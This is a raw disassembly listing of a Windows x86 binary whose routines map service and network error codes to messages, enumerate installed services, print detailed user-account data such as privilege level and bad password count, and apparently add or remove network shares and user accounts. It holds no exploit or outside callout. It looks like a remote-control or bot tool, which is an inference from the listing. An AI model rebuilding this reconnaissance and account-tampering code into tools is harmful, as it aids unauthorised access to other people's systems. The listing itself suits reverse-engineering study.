loc_41B553: ; CODE XREF: sub_41B507+28j
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B55D: ; CODE XREF: sub_41B507+25j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B567: ; CODE XREF: sub_41B507+21j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B571: ; CODE XREF: sub_41B507+1Aj
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B57B: ; CODE XREF: sub_41B507+18j
mov ecx, eax
sub ecx, 41Ch
jz short loc_41B5AA
dec ecx
jz short loc_41B5A3
dec ecx
jz short loc_41B59C
dec ecx
jnz loc_41B62E ; default
; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B59C: ; CODE XREF: sub_41B507+82j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5A3: ; CODE XREF: sub_41B507+7Fj
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5AA: ; CODE XREF: sub_41B507+7Cj
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5B1: ; CODE XREF: sub_41B507+Dj
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5B8: ; CODE XREF: sub_41B507+7j
mov ecx, 45Bh
cmp eax, ecx
ja short loc_41B62E ; default
; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
jz short loc_41B61B
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_41B62E ; default
; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_41B66F[ecx]
jmp off_41B647[ecx*4] ; switch jump
loc_41B5DC: ; DATA XREF: seg000:off_41B647o
push offset aTheSpecifiedDa ; jumptable 0041B5D5 case 7
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5E3: ; CODE XREF: sub_41B507+CEj
; DATA XREF: seg000:off_41B647o
push offset aTheServiceDepe ; jumptable 0041B5D5 case 17
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5EA: ; CODE XREF: sub_41B507+CEj
; DATA XREF: seg000:off_41B647o
push offset aTheServiceDe_0 ; jumptable 0041B5D5 case 10
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5F1: ; CODE XREF: sub_41B507+CEj
; DATA XREF: seg000:off_41B647o
push offset aTheServiceHasB ; jumptable 0041B5D5 case 0
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5F8: ; CODE XREF: sub_41B507+CEj
; DATA XREF: seg000:off_41B647o
push offset aTheSpecified_0 ; jumptable 0041B5D5 case 2
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5FF: ; CODE XREF: sub_41B507+CEj
; DATA XREF: seg000:off_41B647o
push offset aTheServiceCoul ; jumptable 0041B5D5 case 11
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B606: ; CODE XREF: sub_41B507+CEj
; DATA XREF: seg000:off_41B647o
push offset aTheServiceHa_0 ; jumptable 0041B5D5 case 14
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B60D: ; CODE XREF: sub_41B507+CEj
; DATA XREF: seg000:off_41B647o
push offset aTheRequested_1 ; jumptable 0041B5D5 case 3
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B614: ; CODE XREF: sub_41B507+CEj
; DATA XREF: seg000:off_41B647o
push offset aTheServiceHasN ; jumptable 0041B5D5 case 4
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B61B: ; CODE XREF: sub_41B507+BAj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_41B620: ; CODE XREF: sub_41B507+3Dj
; sub_41B507+47j ...
push offset dword_4E1EA8
call sub_41E6A6
pop ecx
pop ecx
jmp short loc_41B641
; ---------------------------------------------------------------------------
loc_41B62E: ; CODE XREF: sub_41B507+32j
; sub_41B507+85j ...
push eax ; default
; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
push offset dword_4E1EA8
call sub_41E6A6
add esp, 0Ch
loc_41B641: ; CODE XREF: sub_41B507+125j
mov eax, offset dword_4E1EA8
retn
sub_41B507 endp
; ---------------------------------------------------------------------------
off_41B647 dd offset loc_41B5F1 ; DATA XREF: sub_41B507+CEr
dd offset loc_41B5F8 ; jump table for switch statement
dd offset loc_41B60D
dd offset loc_41B614
dd offset loc_41B5DC
dd offset loc_41B5EA
dd offset loc_41B5FF
dd offset loc_41B606
dd offset loc_41B5E3
dd offset loc_41B62E
byte_41B66F db 0, 9, 1, 2 ; DATA XREF: sub_41B507+C7r
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B681 proc near ; CODE XREF: sub_40274D+430Ep
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call ds:dword_4441C8 ; OpenSCManagerA
push ebx
push [ebp+arg_8]
mov [ebp+var_C], eax
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 14h
loc_41B6B9: ; CODE XREF: sub_41B681+123j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push 168h
lea eax, [ebp+var_18C]
push eax
push 3
push 30h
push [ebp+var_C]
call ds:dword_4441D8 ; EnumServicesStatusA
test eax, eax
jnz short loc_41B6F3
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_41B7AA
loc_41B6F3: ; CODE XREF: sub_41B681+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_41B7A1
lea esi, [ebp+var_188]
loc_41B704: ; CODE XREF: sub_41B681+11Aj
mov eax, [esi+8]
dec eax
jz short loc_41B750
dec eax
jz short loc_41B749
dec eax
jz short loc_41B742
dec eax
jz short loc_41B73B
dec eax
jz short loc_41B734
dec eax
jz short loc_41B72D
dec eax
lea eax, [ebp+var_20]
jz short loc_41B726
push offset aUnknown_0 ; " Unknown"
jmp short loc_41B758
; ---------------------------------------------------------------------------
loc_41B726: ; CODE XREF: sub_41B681+9Cj
push offset aPaused ; " Paused"
jmp short loc_41B758
; ---------------------------------------------------------------------------
loc_41B72D: ; CODE XREF: sub_41B681+96j
push offset aPausing ; " Pausing"
jmp short loc_41B755
; ---------------------------------------------------------------------------
loc_41B734: ; CODE XREF: sub_41B681+93j
push offset aContinuing ; " Continuing"
jmp short loc_41B755
; ---------------------------------------------------------------------------
loc_41B73B: ; CODE XREF: sub_41B681+90j
push offset aRunning ; " Running"
jmp short loc_41B755
; ---------------------------------------------------------------------------
loc_41B742: ; CODE XREF: sub_41B681+8Dj
push offset aStoping ; " Stoping"
jmp short loc_41B755
; ---------------------------------------------------------------------------
loc_41B749: ; CODE XREF: sub_41B681+8Aj
push offset aStarting ; " Starting"
jmp short loc_41B755
; ---------------------------------------------------------------------------
loc_41B750: ; CODE XREF: sub_41B681+87j
push offset aStopped ; " Stopped"
loc_41B755: ; CODE XREF: sub_41B681+B1j
; sub_41B681+B8j ...
lea eax, [ebp+var_20]
loc_41B758: ; CODE XREF: sub_41B681+A3j
; sub_41B681+AAj
push eax
call sub_41E6A6
pop ecx
pop ecx
push dword ptr [esi]
lea eax, [ebp+var_20]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_3 ; "%s: %s (%s)"
push eax
call sub_41E6A6
push 1
push [ebp+arg_8]
lea eax, [ebp+var_38C]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_41B704
loc_41B7A1: ; CODE XREF: sub_41B681+77j
cmp [ebp+var_8], ebx
jnz loc_41B6B9
loc_41B7AA: ; CODE XREF: sub_41B681+6Cj
push [ebp+var_C]
call ds:dword_444134 ; CloseServiceHandle
xor eax, eax
cmp eax, [ebp+var_4]
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
leave
retn
sub_41B681 endp
; =============== S U B R O U T I N E =======================================
sub_41B7C1 proc near ; CODE XREF: sub_41B883+Ap
; sub_41B883+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_41B7CE
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41B7CE: ; CODE XREF: sub_41B7C1+9j
push ebx
push esi
mov esi, ds:dword_42B07C
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41FEB2
pop ecx
push edi
mov ebx, eax
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn
sub_41B7C1 endp
; =============== S U B R O U T I N E =======================================
sub_41B802 proc near ; CODE XREF: seg000:0041CDD0p
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_20 = dword ptr 24h
mov eax, offset aDjc ; "¸¤¦C"
call sub_420364
push esi
xor esi, esi
cmp [esp+4+arg_10], esi
jnz short loc_41B819
xor eax, eax
jmp short loc_41B875
; ---------------------------------------------------------------------------
loc_41B819: ; CODE XREF: sub_41B802+11j
push ebx
push ebp
push edi
mov edi, ds:dword_42B090
push esi
push esi
push esi
push esi
push 0FFFFFFFFh
push [esp+24h+arg_10]
mov ebx, 400h
push ebx
push esi
call edi ; WideCharToMultiByte
test byte ptr ds:dword_4E1F08, 1
mov ebp, eax
jnz short loc_41B85A
or ds:dword_4E1F08, 1
lea eax, [ebp+1]
push eax
mov [esp+4+arg_14], esi
call sub_41FEB2
pop ecx
mov ds:dword_4E1F04, eax
loc_41B85A: ; CODE XREF: sub_41B802+3Cj
push esi
push esi
push ebp
push ds:dword_4E1F04
push 0FFFFFFFFh
push [esp+14h+arg_20]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, ds:dword_4E1F04
pop edi
pop ebp
pop ebx
loc_41B875: ; CODE XREF: sub_41B802+15j
mov ecx, [esp+4]
pop esi
mov large fs:0, ecx
leave
retn
sub_41B802 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B883 proc near ; CODE XREF: sub_41BFBE+6Cp
; seg000:0041D039p ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
push edi
push [ebp+arg_0]
call sub_41B7C1
push [ebp+arg_4]
mov edi, eax
call sub_41B7C1
push 24h
push [ebp+arg_4]
mov [ebp+var_24], eax
call sub_41EFD0
push [ebp+arg_8]
neg eax
sbb eax, eax
and [ebp+var_1C], 0
or [ebp+var_14], 0FFFFFFFFh
and [ebp+var_10], 0
and eax, 80000000h
mov [ebp+var_20], eax
mov [ebp+var_18], 7Fh
call sub_41B7C1
and [ebp+var_8], 0
add esp, 14h
mov [ebp+var_C], eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push 2
push edi
call ds:dword_4440E8
pop edi
leave
retn
sub_41B883 endp
; =============== S U B R O U T I N E =======================================
sub_41B8EE proc near ; CODE XREF: sub_41BFBE+20p
; seg000:0041CD45p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B7C1
push [esp+8+arg_4]
mov esi, eax
call sub_41B7C1
pop ecx
pop ecx
push 0
push eax
push esi
call ds:dword_444104
pop esi
retn
sub_41B8EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B911 proc near ; CODE XREF: sub_41C19B+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_41B7C1
push [ebp+arg_4]
mov edi, eax
call sub_41B7C1
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_41B7C1
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
add esp, 0Ch
lea ecx, [ebp+var_4]
push ecx
mov [ebp+var_20], eax
xor eax, eax
lea ecx, [ebp+var_24]
inc eax
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call ds:dword_4440C8
pop edi
leave
retn
sub_41B911 endp
; =============== S U B R O U T I N E =======================================
sub_41B96B proc near ; CODE XREF: sub_41C19B+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B7C1
push [esp+8+arg_4]
mov esi, eax
call sub_41B7C1
pop ecx
pop ecx
push eax
push esi
call ds:dword_4441D4
pop esi
retn
sub_41B96B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B98C proc near ; CODE XREF: sub_41C19B+2Dp
var_208 = byte ptr -208h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 208h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_41B7C1
push [ebp+arg_4]
mov esi, eax
call sub_41B7C1
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call ds:dword_4440EC
test eax, eax
mov [ebp+var_8], eax
jnz loc_41BD19
mov eax, [ebp+var_4]
test eax, eax
jz loc_41BD54
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_208]
push offset aAccountS ; "Account: %S"
push eax
call sub_41E6A6
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_208]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_208]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_208]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
mov eax, [eax+10h]
add esp, 40h
sub eax, 0
jz short loc_41BAA5
dec eax
jz short loc_41BA9E
dec eax
jz short loc_41BA97
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41BAAA
; ---------------------------------------------------------------------------
loc_41BA97: ; CODE XREF: sub_41B98C+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41BAAA
; ---------------------------------------------------------------------------
loc_41BA9E: ; CODE XREF: sub_41B98C+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_41BAAA
; ---------------------------------------------------------------------------
loc_41BAA5: ; CODE XREF: sub_41B98C+FCj
mov eax, offset aGuest ; "Guest"
loc_41BAAA: ; CODE XREF: sub_41B98C+109j
; sub_41B98C+110j ...
push eax
lea eax, [ebp+var_208]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_208]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_208]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_208]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_208]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_208]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_208]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_208]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_208]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_208]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_208]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_208]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_208]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_208]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_208]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41E6A6
push 1
push esi
lea eax, [ebp+var_208]
push eax
push edi
push ebx
call sub_40123B
add esp, 20h
pop edi
pop ebx
jmp short loc_41BD45
; ---------------------------------------------------------------------------
loc_41BD19: ; CODE XREF: sub_41B98C+35j
push eax
lea eax, [ebp+var_208]
push offset unk_438134
push eax
call sub_41E6A6
push 0
push [ebp+arg_10]
lea eax, [ebp+var_208]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40123B
add esp, 20h
loc_41BD45: ; CODE XREF: sub_41B98C+38Bj
cmp [ebp+var_4], 0
jz short loc_41BD54
push [ebp+var_4]
call ds:dword_444140
loc_41BD54: ; CODE XREF: sub_41B98C+40j
; sub_41B98C+3BDj
mov eax, [ebp+var_8]
pop esi
leave
retn
sub_41B98C endp
; =============== S U B R O U T I N E =======================================
sub_41BD5A proc near ; CODE XREF: sub_41BE8A+9Ep
; sub_41BFBE:loc_41BFFEp ...
mov ecx, 858h
cmp eax, ecx
ja loc_41BE08
jz loc_41BE01
cmp eax, 7Bh
ja short loc_41BDCD
jz short loc_41BDC3
cmp eax, 5
jz short loc_41BDB9
cmp eax, 8
jz short loc_41BDAF
cmp eax, 32h
jz short loc_41BDA5
cmp eax, 35h
jz short loc_41BD9B
cmp eax, 57h
jnz loc_41BE57
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BD9B: ; CODE XREF: sub_41BD5A+2Cj
push offset aServerNameNotF ; "Server name not found."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDA5: ; CODE XREF: sub_41BD5A+27j
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDAF: ; CODE XREF: sub_41BD5A+22j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDB9: ; CODE XREF: sub_41BD5A+1Dj
push offset aAccessDenied_ ; "Access denied."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDC3: ; CODE XREF: sub_41BD5A+18j
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDCD: ; CODE XREF: sub_41BD5A+16j
sub eax, 7Ch
jz short loc_41BDFA
sub eax, 7C8h
jz short loc_41BDF3
dec eax
jz short loc_41BDE9
dec eax
jnz short loc_41BE57
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDE9: ; CODE XREF: sub_41BD5A+80j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDF3: ; CODE XREF: sub_41BD5A+7Dj
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDFA: ; CODE XREF: sub_41BD5A+76j
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE01: ; CODE XREF: sub_41BD5A+Dj
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE08: ; CODE XREF: sub_41BD5A+7j
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41BE41
jz short loc_41BE3A
sub eax, 8ADh
jz short loc_41BE6C
dec eax
dec eax
jz short loc_41BE33
dec eax
jz short loc_41BE2C
dec eax
dec eax
jnz short loc_41BE57
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE2C: ; CODE XREF: sub_41BD5A+C5j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE33: ; CODE XREF: sub_41BD5A+C2j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE3A: ; CODE XREF: sub_41BD5A+B7j
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE41: ; CODE XREF: sub_41BD5A+B5j
sub eax, 8CAh
jz short loc_41BE73
sub eax, 17h
jz short loc_41BE6C
sub eax, 25h
jz short loc_41BE65
sub eax, 29h
jz short loc_41BE5E
loc_41BE57: ; CODE XREF: sub_41BD5A+31j
; sub_41BD5A+83j ...
push offset aAnUnknownError ; "An unknown error occurred."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE5E: ; CODE XREF: sub_41BD5A+FBj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE65: ; CODE XREF: sub_41BD5A+F6j
push offset aShareNotFound_ ; "Share not found."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE6C: ; CODE XREF: sub_41BD5A+BEj
; sub_41BD5A+F1j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE73: ; CODE XREF: sub_41BD5A+ECj
push offset aNetworkConnect ; "Network connection not found."
loc_41BE78: ; CODE XREF: sub_41BD5A+3Cj
; sub_41BD5A+46j ...
push offset dword_4E1F10
call sub_41E6A6
pop ecx
pop ecx
mov eax, offset dword_4E1F10
retn
sub_41BD5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE8A proc near ; CODE XREF: sub_40274D+44CAp
var_71C = byte ptr -71Ch
var_31C = byte ptr -31Ch
var_10C = byte ptr -10Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 71Ch
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_71C]
push eax
call sub_4204DD
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10C]
mov esi, 108h
push eax
mov [ebp+var_4], esi
call ds:dword_42B05C ; GetComputerNameA
push esi
lea eax, [ebp+var_10C]
push eax
lea eax, [ebp+var_31C]
push eax
call sub_4204DD
lea eax, [ebp+var_71C]
push eax
call sub_4206A3
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_71C]
push eax
push 0
lea eax, [ebp+var_31C]
push eax
push 0
call ds:dword_444114
test eax, eax
jnz short loc_41BF1A
push offset unk_4385CC
mov esi, offset dword_4E1F70
push esi
call sub_41E6A6
pop ecx
pop ecx
jmp short loc_41BF41
; ---------------------------------------------------------------------------
loc_41BF1A: ; CODE XREF: sub_41BE8A+7Aj
lea ecx, [ebp+var_71C]
push ecx
lea ecx, [ebp+var_31C]
push ecx
call sub_41BD5A
push eax
push offset dword_4385A0
mov esi, offset dword_4E1F70
push esi
call sub_41E6A6
add esp, 14h
loc_41BF41: ; CODE XREF: sub_41BE8A+8Ej
mov eax, esi
pop esi
leave
retn
sub_41BE8A endp
; =============== S U B R O U T I N E =======================================
sub_41BF46 proc near ; CODE XREF: sub_40274D:loc_406A33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41BF9C
push 0
lea esi, [eax+eax*2]
push 0
shl esi, 2
push ds:dword_443408[esi]
push edi
push eax
call sub_41B465
add esp, 14h
test eax, eax
jnz short loc_41BF8E
push edi
push ds:off_443404[esi]
push offset unk_438644
loc_41BF7E: ; CODE XREF: sub_41BF46+54j
mov esi, offset dword_4E2170
push esi
call sub_41E6A6
add esp, 10h
jmp short loc_41BFB9
; ---------------------------------------------------------------------------
loc_41BF8E: ; CODE XREF: sub_41BF46+2Aj
call sub_41B507
push eax
push edi
push offset unk_438618
jmp short loc_41BF7E
; ---------------------------------------------------------------------------
loc_41BF9C: ; CODE XREF: sub_41BF46+Cj
lea eax, [eax+eax*2]
push ds:off_443400[eax*4]
mov esi, offset dword_4E2170
push offset unk_4385F4
push esi
call sub_41E6A6
add esp, 0Ch
loc_41BFB9: ; CODE XREF: sub_41BF46+46j
pop edi
mov eax, esi
pop esi
retn
sub_41BF46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BFBE proc near ; CODE XREF: sub_40274D:loc_406B1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_41C056
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41BFE7
dec eax
jnz short loc_41C036
push edi
push 0
call sub_41B8EE
pop ecx
pop ecx
jmp short loc_41C032
; ---------------------------------------------------------------------------
loc_41BFE7: ; CODE XREF: sub_41BFBE+18j
cmp [ebp+arg_8], 0
jnz short loc_41C024
push 24h
push edi
call sub_41EFD0
test eax, eax
pop ecx
pop ecx
jnz short loc_41C024
push 57h
pop eax
loc_41BFFE: ; CODE XREF: sub_41BFBE+76j
call sub_41BD5A
push eax
push edi
lea eax, [esi+esi*2]
push ds:off_443400[eax*4]
mov esi, offset dword_4E2370
push offset unk_4386A0
push esi
call sub_41E6A6
